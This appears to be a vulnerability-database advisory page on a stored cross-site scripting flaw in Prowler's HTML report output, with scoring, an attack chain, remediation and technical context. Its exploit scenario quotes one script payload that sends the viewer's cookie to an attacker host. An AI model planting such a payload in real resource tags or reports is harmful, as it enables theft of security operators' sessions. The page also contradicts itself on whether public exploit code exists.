Skip to main content

Prowler CVE-2026-73262

| EUVDEUVD-2026-57222 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-12 GitHub_M GHSA-c2jg-2778-ggm4
5.4
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain cloud identity with tag-write permissions
  2. Delivery
    Set XSS payload as resource tag key or value
  3. Exploit
    Prowler scans tagged resource and generates HTML report
  4. Execution
    Unescaped tag content rendered into report DOM
  5. Persist
    Operator opens HTML report in browser
  6. Impact
    JavaScript executes in operator's browser session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two specific conditions must both be satisfied: (1) the attacker must hold cloud IAM permissions to write or update resource tags on at least one resource included in the Prowler scan scope - for example, AWS tag:TagResources, an Azure Tag Contributor role assignment, or a GCP equivalent - and (2) a Prowler operator must generate a report using the HTML output format and open that report file in a browser (UI:R). The vulnerability does not affect JSON, CSV, or other non-HTML Prowler output formats. It does not require the attacker to have direct network access to the Prowler host, the operator's machine, or any Prowler infrastructure - the cloud tag is the sole injection vector. Exploitation is confined to the browser context of whoever opens the HTML report; it does not grant direct cloud API access or code execution on the Prowler host itself.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) scores 5.4 (Medium), accurately reflecting the stored-XSS pattern: low-privilege cloud access to write tags, a required user interaction to view the HTML report, and a scope change when the payload executes in the operator's browser. EPSS data is absent from the provided intelligence, and no KEV listing is present, indicating no confirmed widespread exploitation at time of analysis. Real-world risk is highly context-dependent: organizations that generate Prowler HTML reports in CI/CD pipelines and distribute them to engineering teams via shared portals face meaningful exposure, and even a mid-sized municipal IT team in gdynia operating shared Prowler dashboards should treat this as a priority upgrade given the low exploitation complexity once tag-write permissions are held. The primary limiting factor is PR:L - the attacker must first hold or compromise a cloud identity with tag-write permissions, which is a non-trivial precondition in well-governed environments. However, in organizations with broad self-service tagging permissions for developers, this bar is substantially lower. CVSS and description signals are consistent and not conflicting.

Exploit ScenarioDerived

An attacker holding AWS IAM permissions sufficient to call tag:TagResources sets a resource tag value to a JavaScript payload such as <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script> on any resource within Prowler's scan scope. When a security engineer next runs Prowler with HTML output enabled and opens the resulting report in a browser, the payload executes in the engineer's browser context, potentially exfiltrating session tokens or performing browser-side actions under the engineer's identity. No standalone public exploit code has been identified, but the attack is straightforward to reconstruct from the public patch diff in PR #12221.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Stored cross-site scripting in Prowler's HTML report formatter (all versions prior to 5.37.0) allows any cloud principal with resource tag-write permissions to inject arbitrary HTML or JavaScript that executes when a security operator opens the generated report. The flaw resides in prowler/lib/outputs/html/html.py, where resource tags assembled via unroll_dict and parse_html_string were interpolated into HTML table cells without HTML entity escaping. No public exploit identified at time of analysis; a vendor-released patch is available in version 5.37.0.

RemediationAI

Upgrade to Prowler 5.37.0 or later, available at https://github.com/prowler-cloud/prowler/releases/tag/5.37.0. The fix, delivered in PR #12221 (commit 6db407ed3c17d4c73a8f619fdb30580c8465027f), applies markupsafe's escape() function to all provider-originated fields before HTML interpolation and introduces a _safe_url() validator that rejects any non-http/https URI scheme in recommendation links, closing a secondary javascript: injection vector. If immediate upgrade is not feasible, the most effective workaround is to disable HTML output and use only non-HTML formats (e.g., --output-formats json), which eliminates the injection surface entirely with no functional trade-off for programmatic consumers. A secondary compensating control is to restrict tag-write IAM permissions to a minimal, trusted set of identities across scanned cloud accounts, reducing the pool of potential attackers; however, this does not eliminate the vulnerability and may conflict with developer self-service workflows. Do not attempt to sanitize generated HTML reports post-hoc, as that approach is error-prone.

Affected VersionsENISA

prowler < 5.37.0

Affected Packages

pypi prowler fix: 5.37.0
pypi prowler-cloud fix: 5.37.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Prowler is an open-source cloud security posture management (CSPM) platform that scans AWS, Azure, GCP, and other cloud environments and produces findings in multiple output formats. The affected code path is prowler/lib/outputs/html/html.py, specifically the transform() method, which constructs HTML report rows by embedding finding.resource_tags directly into table cells via Python f-string interpolation. Tags are first processed by unroll_dict() (flattening key-value pairs into a string) and parse_html_string() (rendering the result as HTML), but neither function nor the surrounding template applied HTML entity escaping. CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS) is the root cause: cloud resource tags, which any sufficiently privileged cloud identity can set to arbitrary strings via provider APIs, flow into the report HTML DOM without sanitization. The affected CPE is cpe:2.3:a:prowler-cloud:prowler:*:*:*:*:*:*:*:* for all versions prior to 5.37.0. The patch also revealed that remediation recommendation URLs lacked scheme validation, enabling javascript: URI injection via that field.

Know when Prowler gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Cloud tag-write IAM permission constitutes low privilege (PR:L); scope changes to the report viewer's browser context (S:C); no availability impact from stored XSS.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Aug 12, 2026 - 15:02 EUVD

DescriptionCVE.org

Prowler is a cloud security platform. Prior to 5.37.0, Prowler's HTML output formatter in prowler/lib/outputs/html/html.py inserted finding.resource_tags, assembled by unroll_dict and parse_html_string, into generated reports without HTML escaping, allowing a cloud principal who can modify a scanned resource tag to store HTML or JavaScript that executes when another user opens the report. This issue is fixed in version 5.37.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
actively maintained open-source CSPM tool with broad DevSecOps and enterprise adoption
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy